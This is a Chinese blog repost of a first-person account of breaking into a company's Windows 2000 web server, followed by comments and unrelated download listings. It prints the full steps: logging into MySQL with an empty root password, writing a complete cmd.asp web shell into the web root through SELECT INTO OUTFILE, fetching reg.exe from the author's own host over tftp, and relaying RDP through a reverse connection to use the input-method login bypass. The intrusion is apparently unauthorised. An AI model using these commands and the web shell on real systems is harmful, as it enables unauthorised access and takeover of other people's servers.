`
wangdei
  • 浏览: 372119 次
社区版块
存档分类
最新评论

黑客入侵Win2K Server全过程详解

阅读更多
某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是www.bt285.cn,我一看觉得挺眼熟的,www.bt285.cn 公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,呵呵,那就看看他们的服务器做的如何吧。

  随后用nmap扫描了一下abc.target.net,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows 2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到www.bt285.cn,他们的主站,哈哈。

  Ok!先用nmap扫描一下,扫描结果如下:
  25/tcp open smtp
  53/tcp open domain
  80/tcp open http
  110/tcp open pop-3
  389/tcp open ldap
  1002/tcp open unknown
  3306/tcp open mysql

  然后从IIS版本判断目标是windows 2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,呵呵,比abc.target.net有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail 6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:

  F:\cmd>mysql -u root -h www.target.net
  Welcome to the MySQL monitor. Commands end with ; or \g.
  Your MySQL connection id is 3038 to server version: 3.23.21-beta
  Type 'help;' or '\h' for help. Type '\c' to clear the buffer
  mysql>

  呵呵,不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。

  现在我们可以利用这个漏洞来做三件事情:

<1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了,呵呵

<2>读取服务器上的任何文件,当然前提是知道文件的物理路径

<3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件

  如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!

  没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,

  mysql> use test;create table tmp(str TEXT);
  Database changed
  Query OK, 0 rows affected (0.05 sec)

  然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:\inetpub\wwwroot,c:\www,c:\wwwroot,c:\inetpub\web,d:\web,d:\wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:

mysql> load data infile "d:\\www\\gb\\about\\about.htm" into table tmp;
Query OK, 235 rows affected (0.05 sec)
Records: 235 Deleted: 0 Skipped: 0 Warnings: 0

  哈哈哈,猜中了,IIS主目录的物理路径是d:\www,因为上面的文件的虚拟路径是http://www.target.net/gb/about/about.htm,看来我得到一个shell了,呵呵。

  接下来我们就可以往d:\www\gb\about里面写一个ASP文件进去,然后通过http://www.target.net/gb/about/cmd.asp来执行系统命令了。然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:

<FONT color=#666666>-------------------------------cmd.asp----------------------------------------
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(""WSCRIPT.SHELL"")
Set oScriptNet = Server.CreateObject(""WSCRIPT.NETWORK"")
Set oFileSys = Server.CreateObject(""Scripting.FileSystemObject"")

szCMD = Request.Form("".CMD"")
If (szCMD <> """") Then
szTempFile = ""C:\" & oFileSys.GetTempName()
Call oScript.Run (""cmd.exe /c "" & szCMD & ""
> "" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<FORM action="" <%='Request.ServerVariables(""URL"")' %>"" method=""POST""><BR><INPUT name="" size=45 <%="szCMD" % .CMD??>""><INPUT type=submit value=提交查询内容 Run??></FORM><PRE>
<% If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>

----------------------------end of cmd.asp-----------------------------------</FONT>

  由于往mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是两个双引号一起的,这样才能写进去,原来是一个双引号的。然后我在数据库中再建一个表:

mysql> use test;create table cmd(str TEXT);
Database changed
Query OK, 0 rows affected (0.05 sec)

  然后用如下语句,一句一句把上面的ASP写进去:

mysql> insert into cmd values("一行一行的asp代码,呵呵");

  为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了,只能辛苦点一行一行写了。然后把asp文件导到服务器上:

mysql>select * from cmd into outfile "d:\\www\\gb\\abou\\cmd.asp";

  然后把我们刚才建的表都删除掉:

mysql> use test; drop table tmp; drop table cmd;

  ok!我们得到一个shell了,虽然权限不高,但毕竟已经向取得admin权限迈出一大步了,不是吗,呵呵。做这个asp文件可花了我不少时间哦。现在我们利用这个shell来收集系统信息,尝试取得admin权限。

<1>先看一下系统文件权限设置如何:
c:\ Everyone:(OI)(CI)F
d:\ \xxx:(OI)(CI)(DENY)(特殊访问:)
DELETE
READ_CONTROL
WRITE_DAC
WRITE_OWNER
STANDARD_RIGHTS_REQUIRED
FILE_READ_DATA
FILE_WRITE_DATA
FILE_APPEND_DATA
FILE_READ_EA
FILE_WRITE_EA
FILE_EXECUTE
FILE_DELETE_CHILD
FILE_READ_ATTRIBUTES
FILE_WRITE_ATTRIBUTES

Everyone:(OI)(CI)F

  看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得admin权限,呵呵。

<2>然后搜索一下硬盘上都有些什么文件:

  c:\Program Files 的目录下有两个比较有意思的文件,

2000-12-19 13:10
Serv-U
2001-01-20 22:43
绿色警戒

  把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有,呵呵。

<3>再看看都有哪些用户:

Guest IUSR_SERVER_1 IUSR_SERVER-2
IWAM_SERVER_1 IWAM_SERVER-2 ceo[他们CEO的帐号J]
TsInternetUser

  管理员有ceo 和target\Domain Admins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程序,但后来看到这个帐号已经几个月没登陆了,就放弃了。

<4>看看启动了那些服务,这几个比较有意思, 看来都是默认的:

Task Sc

heduler
Simple Mail Transport Protocol (SMTP)
Task Scheduler

<5>看看网络状况,这几个比较有意思:

TCP 0.0.0.0:21 0.0.0.0:0 LISTENING
TCP 0.0.0.0:119 0.0.0.0:0 LISTENING
TCP 192.168.1.3:3389 0.0.0.0:0 LISTENING

  看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来

<6>看看网卡设置信息:

Ethernet adapter 本地连接:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter
Physical Address. . . . . . . . . : 00-E0-4C-68-C4-B2
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . . : 192.168.1.3
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :
DNS Servers . . . . . . . . . . . :
Ethernet adapter 本地连接 2:
Connection-specific DNS Suffix . :
Description . . . . . . . . . . . : Realtek RTL8139(A) PCI Fast Ethernet Adapter#2
Physical Address. . . . . . . . . : 00-E0-4C-68-B8-FC
DHCP Enabled. . . . . . . . . . . : No
IP Address. . . . . . . . . . . .xx
Subnet Mask . . . . . . . . . . . :
Default Gateway . . . . . . . . . :

  经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?netdde?pipeupadmin?呵呵,无法利用,没有可利用的可以登陆的用户。下套?等到什么时候,呵呵。

  Okok!让我们来看看这个系统都打了些什么补丁。怎么查看?呵呵,打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:"HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix",这样的话,我们得上传一个reg.exe[M$ Resource Kit中的命令行注册表编辑器]到服务器里面,我们才能操作他的注册表。开始我想用先写一个ftp脚本,然后ftp -s:cmd.txt让他到我的服务器来下载,但结果失败了,后来才想起他做了TCP/IP过滤,5555,我记性真不好。怎么办呢?有办法,用tftp来传输。我先在我的服务器上安装了一个Cisco TFTP Server,然后在目标机器上运行tftp -I www.eyas.org GET reg.exe,呵呵,传输过去咯。然后运行
REG QUERY "HKLM\Software\Microsoft\Windows NT\CurrentVersion\hotfix"

  返回数据如下:
Listing of [Software\Microsoft\Windows NT\CurrentVersion\hotfix]

[Q147222]==>这个不知道是什么东西,好象默认2k机器上都有
[Q269862]==>Q269862_W2K_SP2_x86_CN.EXE==>Microsoft IIS Unicode解码目录遍历漏洞!
[Q277873]==>Q277873_W2K_sp2_x86_CN.EXE==>Microsoft IIS CGI文件名检查漏洞!

  呵呵,==>和后面的说明是我加上去的,不是注册表中的。看来管理员不太勤快啊,只打了两个补丁。

  哈哈!到了这一步,大家想到怎么取得admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但windows2000登陆验证可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dir c:\winnt\help\win*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,hoho~~别忘了我们可以往任何地方写文件哦。

  嘻嘻,咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询

<1>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces]
[{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
[{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]

<2>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]
MULTI_SZ IPAddress ;
MULTI_SZ TCPAllowedPorts 25;53;80;110;3306;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

<3>reg QUERY "HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"
Listing of [System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]
MULTI_SZ IPAddress 192.168.1.3;
MULTI_SZ TCPAllowedPorts 0;
MULTI_SZ UDPAllowedPorts 0;
MULTI_SZ RawIPAllowedProtocols 0;

  篇幅关系,我过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP 25,53,80,110,3306,UDP全部,IP协议全部。第三次查询的是内网网卡,没有任何限制。
现在我们可以把输入法帮助文件上传到他的c:\winnt\help目录下去,然后如果能连接到他的3389端口的话,我们就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。55555,怎么办呢?如何突破?有办法!我们可以利用socket转发和反弹端口技术,照样可以连接到敌人的TermService!

具体过程如下:

<1>在我的另一台服务器www.eyas2.org[我称他为AgentMaster]上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端口[等待www.target.net来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦

<2>在www.target.net[我称他为AgentSlave]运行另外一个程序, 先连接到www.eyas2.org:11111,再连接到192.168.1.3:3389[敌人服务器内网的IP]

<3> 我的TermClient连接到www.eyas2.org:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。
注意:www.eyas2.org和www.eyas.org可以为同一台服务器,但要保证www.target.net能connect上你的服务器。192.168.1.3也可以换为他内网的任何一个IP。这样,当我用TermClient连接到www.eyas2.org的时候,其实是连接到www.target.net。当熟悉的登陆界面出现在我面前,我熟练的调出输入法,取得admin权限,呵呵,心里还有那么一点点成就感!

  关于<利用socket转发和反弹端口技术突破防火墙进入内>的详细说明和程序原代码解读请参见我另一篇文章。

  简要的回顾一下:发现mysql漏洞==>凭直觉猜中IIS物理路径==>写一个cmd.asp文件上去得到一个shell==>利用系统配置错误取得admin权限接下来要做的事情,就是把漏洞通知他们的网管了[我可不敢直接告诉他们CEO,呵呵],本来想在那机器上装个sniff什么的,再用来做跳板进一步尝试入侵他的内网,但后来想想还是算了,呵呵。


分享到:
评论
1 楼 abruzzi 2009-02-25  
比较有意思,windows系列的系统还真没有研究过。

相关推荐

    CP210x_VCP_Win2K_XP_S2K3

    标题“CP210x_VCP_Win2K_XP_S2K3”指的是Silicon Labs公司的CP210x系列USB到UART桥接器的虚拟串口驱动程序,适用于Windows 2000、XP以及Server 2003操作系统。这个驱动程序允许用户通过USB接口将计算机与使用CP210x...

    Win2k注册表备份恢复详解

    ### Win2k注册表备份恢复详解 #### 一、引言 Windows 2000 (Win2k) 是微软发布的一款重要的操作系统,它在企业和个人用户中得到了广泛的应用。Win2k的核心组件之一就是注册表,这是一个包含了系统配置、硬件信息、...

    SQL Server 2008数据挖掘全过程详解

    SQL Server 2008 数据挖掘全过程详解 SQL Server 2008 是一种功能强大且功能完善的关系数据库管理系统,具有强大的数据挖掘和商业智能功能。本文将对 SQL Server 2008 数据挖掘全过程进行详细讲解,包括安装、OLAP ...

    cisco最完美的ACL配置详解及配置全过程

    cisco最完美的ACL配置详解及配置全过程cisco最完美的ACL配置详解及配置全过程cisco最完美的ACL配置详解及配置全过程cisco最完美的ACL配置详解及配置全过程cisco最完美的ACL配置详解及配置全过程cisco最完美的ACL配置...

    LBP-800 驱动程序 for win2K/winXP

    《LBP-800驱动程序 for win2K/winXP详解》 在计算机硬件与操作系统交互的世界里,驱动程序扮演着至关重要的角色。本文将详细阐述LBP-800打印机驱动程序对于Windows 2000(win2K)和Windows XP(winXP)系统的重要性...

    Bugzilla windows安装手册(Win2k3Server+bugzilla-3.4.4+XAMPP 1.7.1+ActivePerl).txt

    根据给定的文件标题、描述、标签以及部分内容,本文将深入解析Bugzilla在Windows环境下的安装过程,尤其针对Win2k3Server系统结合bugzilla-3.4.4、XAMPP 1.7.1及ActivePerl的配置流程。Bugzilla是一款广泛使用的开源...

    CAS Server全部配置详解

    CAS Server全部配置详解

    软件性能测试过程详解与案例剖析

    本书《软件性能测试过程详解与案例剖析》详细地介绍了软件性能测试的基础知识,同时辅以多个实际案例,为测试人员提供了从理论到实践的全面指导。 在基础篇中,首先介绍了软件性能的基本概念,包括从不同视角(用户...

    YOLOV2训练全过程详解

    ### YOLOV2训练全过程详解 #### 一、准备训练样本 在开始YOLOv2的训练之前,首先需要准备好训练所需的样本。这一步骤是整个训练过程的基础,直接影响到模型训练的质量。 **准备工作包括但不限于:** 1. **收集...

    Java调用SQL_Server的存储过程详解1

    Java调用SQL_Server的存储过程详解 1使用不带参数的存储过程 2使用带有输入参数的存储过程 3使用带有输出参数的存储过程 4 使用带有返回状态的存储过程 5 使用带有更新计数的存储过程

    亡人灵堂开路安葬全过程详解.doc

    亡人灵堂开路安葬全过程详解.doc

    部署AD RMS和SharePoint Server 2007过程详解

    介绍如何一起部署 Active Directory 权限管理服务 (AD RMS) 和 Microsoft Office SharePoint Server 2007 过程。重点实现如何将 Office SharePoint Server 2007 添加到现有的 AD RMS 环境中

    sql server 2008 存储过程与储发器 详解 书籍

    在SQL Server 2008中,存储过程和触发器是数据库管理中不可或缺的重要组成部分,它们...通过深入学习《SQL Server 2008 存储过程与触发器详解》这本书,读者将能全面理解和掌握这两个概念,从而在实际项目中得心应手。

    SQL SERVER 数据类型详解

    SQL SERVER 数据类型详解 对于初学着比较有帮助

    VC++动态链接库创建和调用全过程详解.doc

    VC++动态链接库创建和调用全过程详解.doc

    SQL Server 2008 BI详解

    【SQL Server 2008 BI详解】 SQL Server 2008 Business Intelligence (BI) 是微软提供的一个全面的数据分析和报表平台,旨在帮助企业员工更好地理解业务情况并做出明智的决策。这一版本的SQL Server引入了许多改进...

    Arcgis Server for .net 全套安装详解

    ### ArcGIS Server for .NET 全套安装详解 #### 一、概述 ArcGIS Server 是一个功能强大的地理信息系统 (GIS) 服务器软件,用于构建、部署和管理地理信息服务。它支持多种开发平台,包括.NET 和 Java。本文档将...

    Excel+SQL Server数据库管理技术详解

    Excel+SQL Server数据库管理技术详解 3个包

    FusionServer iDriver-Win2K16-Driver-V115.zip

    《华为FusionServer iDriver for Windows Server 2016:驱动详解与应用》 华为FusionServer iDriver-Win2K16-Driver-V115.zip是一款专为Windows Server 2016设计的驱动程序集合,包含了服务器硬件在该操作系统下...

    黑客攻防实战详解

    《黑客攻防实战详解》,本书是《黑客攻防实战入门》的姊妹篇,从“攻”、“防”两个不同的角度,通过现实中的入侵实例,并结合作者的心得体会,图文并茂地再现了网络入侵与防御的全过程。本书共分3篇共11章,系统地...

Global site tag (gtag.js) - Google Analytics